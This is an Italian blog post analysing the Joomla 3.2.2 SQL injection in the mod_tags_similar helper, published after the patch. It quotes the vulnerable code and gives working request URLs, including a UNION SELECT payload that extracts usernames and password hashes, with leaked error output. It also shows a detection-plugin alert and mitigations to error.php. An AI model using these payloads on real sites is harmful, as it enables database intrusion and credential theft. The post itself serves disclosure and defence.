Joomla 3.2 SQL injection, un'analisi del problema
L'annuncio della vulnerabilità su Joomla 3.2.2 era del 6 febbraio, ma ho preferito aspettare a pubblicare questo artico che fosse disponibile l'aggiornamento di sicurezza, in modo da non dare ulteriori armi a quegli hacker che, per caso, non se ne fossero accorti.
L'annuncio, da quando è uscito, è stato ripreso più volte, ma pare che ben pochi si siano assunti l'onere di capire ciò che fosse accaduto, quasi tutti si sono limitati a copiare e ripubblicare l'annuncio originario senza nemmeno testarlo. L'annuncio originario era, questo sì, abbastanza criptico, ma qui per ovvie ragioni.
SQL Injection sul modulo 'Tag Simili'
La vulnerabilità del codice è presente nel modulo 'Tag Simili', per la precisione nel file helper '/modules/mod_tags_similar/helper.php', pertanto l'attacco è possibile solo se questo modulo è attivato sul sito.
Verrebbe spontaneo chiedersi come mai Joomla! abbia aspettato un mese a dare comunicazione di ciò, ove la soluzione era immediata: togliere la pubblicazione a questo, non certo vitale, modulo. Da questo episodio conseguono due riflessioni: la prima è che non è sufficiente eseguire gli aggiornamenti perché il sito sia sicuro, la seconda, ben più amara, è che vi è decisamente qualcosa che non va in come Joomla! intende la sicurezza.
Se è vero che alcune vulnerabilità di componenti essenziali del cms è bene che restino segrete finché non esce un aggiornamento, il quale deve, ovviamente, essere disponibile entro due giorni, resta il mistero del perché non si sia mandato un avviso, anche pur sibillino, per consigliare di disattivare questo modulo, la cui utilità, permettetemi, è quanto meno dubbia.
All'interno del file '/modules/mod_tags_similar/helper.php', troviamo, partendo dalla riga 33:
$id = (array) $app->input->getObject('id'); // Strip off any slug data. foreach ($id as $id){ if (substr_count($id, ':') > 0) { $idexplode = explode(':', $id); $id = $idexplode[0]; } }
Da ciò si vede che il parametro $id, che si suppone essere la chiave primaria di una tabella e quindi un intero (nel db di Joomla!) è gestito senza alcun controllo sul tipo di dato e quindi passato così come è alla query successiva. Poco più avanti nel codice troviamo:
$tagsToMatch = $tagsHelper->getTagIds($id, $prefix);
Viene richiamato il metodo getTagIds() della classe ModTagssimilarHelper passandogli il valore non verificato, che viene inserito nella seguente query:
SELECT t.id #__tags AS t INNER JOIN #__contentitem_tag_map AS m ON m.tag_id = t.id AND m.type_alias = '$prefix' AND m.content_item_id IN ( $id)
Se proviamo ad iniettare un errore nel codice SQL, con la seguente richiesta:
http://j32.example.com/?id=!
Otteniamo:
[... omissis ...]
Se persistono delle difficoltà, contatta l'Amministratore di questo sito e riporta l'errore
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 3 SQL=SELECT `t`.`id` FROM `j30_tags` AS t INNER JOIN `j30_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_content.featured' AND `m`.`content_item_id` IN ( !)
Se qualcuno si sta chiedendo a che serva un attacco del genere, che in fin dei conti visualizza solo un'errore, lo invito a notare che all'interno dell'errore visualizzato è presente il nome completo delle tabelle compreso il prefisso che per questioni di sicurezza è scelto casualmente all'installazione di Joomla!.
Studiando le query presenti poi nel codice, in particolare la precedente, ed il modo in cui sono gestiti i valori di ritorno, possiamo scrivere del codice ad hoc per ottenere informazioni su vari aspetti del sistema.
Ad esempio per ottenere l'elenco degli utenti registrati nel sistema possiamo inserire la seguente richiesta
http://j32.example.com/?id=id=0%20%29%20union%20select%20username%20from%20%60j30_users%60%20--%20%29
La stringa, in formato non url encoded è '0 ) union select username from `j30_users` -- )', che unita alla precedente porta a:
SELECT t.id #__tags AS t INNER JOIN #__contentitem_tag_map AS m ON m.tag_id = t.id AND m.type_alias = '$prefix' AND m.content_item_id IN ( 0 ) UNION SELECT username FROM `j30_users` -- ))
Ovvero fa sì che la prima query non riporti alcun risultato e siano quindi considerati solo i risultati della seconda.
Otteniamo:
[... omissis ...]
Se persistono delle difficoltà, contatta l'Amministratore di questo sito e riporta l'errore
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.,SExxcBot) AND t.access IN (1,1,5) AND (`m`.`content_item_id` <>' at line 6 SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `j30_contentitem_tag_map` AS `m` INNER JOIN `j30_tags` AS `t` ON m.tag_id = t.id INNER JOIN `j30_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `j30_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN (admin,maxxoni,marcoxTxleoni.net,SExxcBot) AND t.access IN (1,1,5) AND (`m`.`content_item_id` <> id=0 ) union select username from `j30_users` -- ) OR `m`.`type_alias` <> 'com_content.featured') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5
Sostituendo username con password otteniamo infine l'elenco degli hash delle password associate ai vari nomi utente.
Se qualcuno si sta chiedendo a che servano i dati che può recuperare in questo modo, questa volta non aggiungo altro per ovvie ragioni.
Intercettare gli attacchi SQLI, SQL Injection
Sebbene la prima query difficilmente può essere bloccata, la seconda è facilmente riconducibile ai patterns comunemente ed universalmente usati negli attacchi di sql injection.
Chi ha installato il nostro sistema di protezione dagli attacchi SQLI e LFI avrà ottenuto un avvertimento e/o una mail, a seconda della configurazione del plugin; nelle righe seguenti un estratto della mail che avvisa del tentativo di attacco:
** Union Select [GET:id] => 0 ) union select password from `j30_users` -- )
** Union Select [REQUEST:id] => 0 ) union select password from `j30_users` -- )*QUERY_STRING :
option=com_content &view=featured &Itemid=101 &id=0%20%29%20union%20select%20password%20from%20%60j30_users%60%20--%20%29** SUPERGLOBALS DUMP (sanitized)
*$_GET DUMP
-[option] => com_content
-[view] => featured
-[Itemid] => 101
-[id] => 0 ) union select password from `j30_users` -- )
Di sicuro l'eventuale attaccante non avrà ottenuto i dati di cui sopra, a parte il prefisso delle tabelle, che si consiglia di cambiare.
La prima query ha sicuramente causato l'errore sopra riportato e quindi l'attaccante è a conoscenza del prefisso dell tabelle, informazione sensibile che è meglio non abbia. È pertanto opportuno provvedere al cambio del prefisso ogni volta che dalla mail di avvertimento è possibile desumere che l'attaccante fosse a conoscenza di tale informazione.
Occuparsi di sicurezza e rendere realmente sicuro un sito non è una cosa banale richiede competenze specifiche; la vicenda qui trattata dimostra che non è sufficiente effettuare gli aggiornamenti non appena escano.
Vi serve aiuto per mantenere il vostro sito sicuro o per intervenire in caso di attacco e ripristinarne l'operatività? Contattateci, è uno dei nostri servizi professionali.
Limitare le informazioni fornite agli hackers
Uno degli interventi più immediati e sicuri per limitare le informazioni fornite agli hackers è quello di intervenire sull'override del file error.php e limitare le informazioni visualizzate da quest'ultimo.
Di rapida esecuzione è commentare le riga che visualizza l'errore, ovvero quella in cui è presente '$this->error->getMessage()'.
Un intervento più evoluto è quello di sottoporre a condizione la visualizzazione del messaggio di errore. Nel seguente codice il messaggio viene visualizzato solo se Joomla! è in modalità debug:
<?php if(JFactory::getConfig()->get('debug')){ echo $this->error->getMessage(); } ?>
Una alternativa potrebbe anche essere nascondere l'informazione rilevante fornendo dati errati all'hacker
<?php echo str_replace( JFactory::getConfig()->get('dbprefix'), 'jos30_', $this->error->getMessage() ); ?>
in questo modo il reale prefisso delle tabelle sarà sostituito da 'jos30' (o con qualcosa di simile al prefisso usato) e l'hacker, tipicamente dilettante, avrà non pochi problemi a capire perché il suo sql non funziona.
Buon lavoro a tutti
Marco Maria Leoni
Commenti
ho jpoomla 3.20 e nel file non c'è '$this -> error -> get Message ()'.
Grazie
RSS feed dei commenti di questo post.